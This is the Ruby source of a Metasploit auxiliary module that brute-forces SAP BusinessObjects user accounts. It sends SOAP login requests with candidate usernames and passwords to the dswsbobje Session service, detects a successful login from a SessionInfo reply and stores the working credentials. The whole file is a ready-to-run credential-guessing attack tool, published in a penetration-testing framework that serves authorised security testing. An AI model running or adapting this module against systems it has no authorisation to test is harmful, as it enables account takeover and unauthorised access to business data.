metasploit-framework/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'		   => 'SAP BusinessObjects User Bruteforcer',
      'Description'	=> 'This module attempts to bruteforce SAP BusinessObjects users.
        The dswsbobje interface is only used to verify valid credentials for CmcApp.
        Therefore, any valid credentials that have been identified can be leveraged by
        logging into CmcApp.',
      'References'  =>
        [
          # General
          [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
        ],
      'Author'		 => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
      'License'		=> MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
      ])
    register_autofilter_ports([ 8080 ])
  end

  def run_host(ip)
    res = send_request_cgi({
      'uri'	 => "/dswsbobje/services/listServices",
      'method'  => 'GET'
    }, 25)
    return if not res

    each_user_pass { |user, pass|
      enum_user(user,pass)
    }
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def enum_user(user='administrator', pass='pass')
    vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
    success = false
    soapenv='http://schemas.xmlsoap.org/soap/envelope/'
    xmlns='http://session.dsws.businessobjects.com/2007/06/01'
    xsi='http://www.w3.org/2001/XMLSchema-instance'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<soapenv:Envelope xmlns:soapenv="' +  soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
    data << '<soapenv:Body>' + "\r\n"
    data << '<login xmlns="' + xmlns + '">' + "\r\n"
    data << '<credential xmlns="' + xmlns + '" xmlns:ns="' + xmlns + '" xmlns:xsi="' + xsi + '" Login="' + user  + '" Password="' + pass + '" xsi:type="ns:EnterpriseCredential" />' + "\r\n"
    data << '</login>' + "\r\n"
    data << '</soapenv:Body>' + "\r\n"
    data << '</soapenv:Envelope>' + "\r\n\r\n"

    begin
      res = send_request_raw({
        'uri'     => normalize_uri(datastore['URI'], "/services/Session"),
        'method'  => 'POST',
        'data'	  => data,
        'headers' =>
          {
            'Content-Length' => data.length,
            'SOAPAction'	=> '"' + 'http://session.dsws.businessobjects.com/2007/06/01/login' + '"',
            'Content-Type'  => 'text/xml; charset=UTF-8',
          }
      }, 45)
      return :abort if (!res or (res and res.code == 404))
      success = true if(res and res.body.match(/SessionInfo/i))
      success

    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Unable to attempt authentication")
      return :abort
    end

    if success
      print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'")
      report_cred(
        ip: rhost,
        port: rport,
        service_name: 'sap-businessobjects',
        user: user,
        proof: res.body
      )
      return :next_user
    else
      vprint_error("#{rhost}:#{rport} - Failed to login as '#{user}'")
      return
    end
  end
end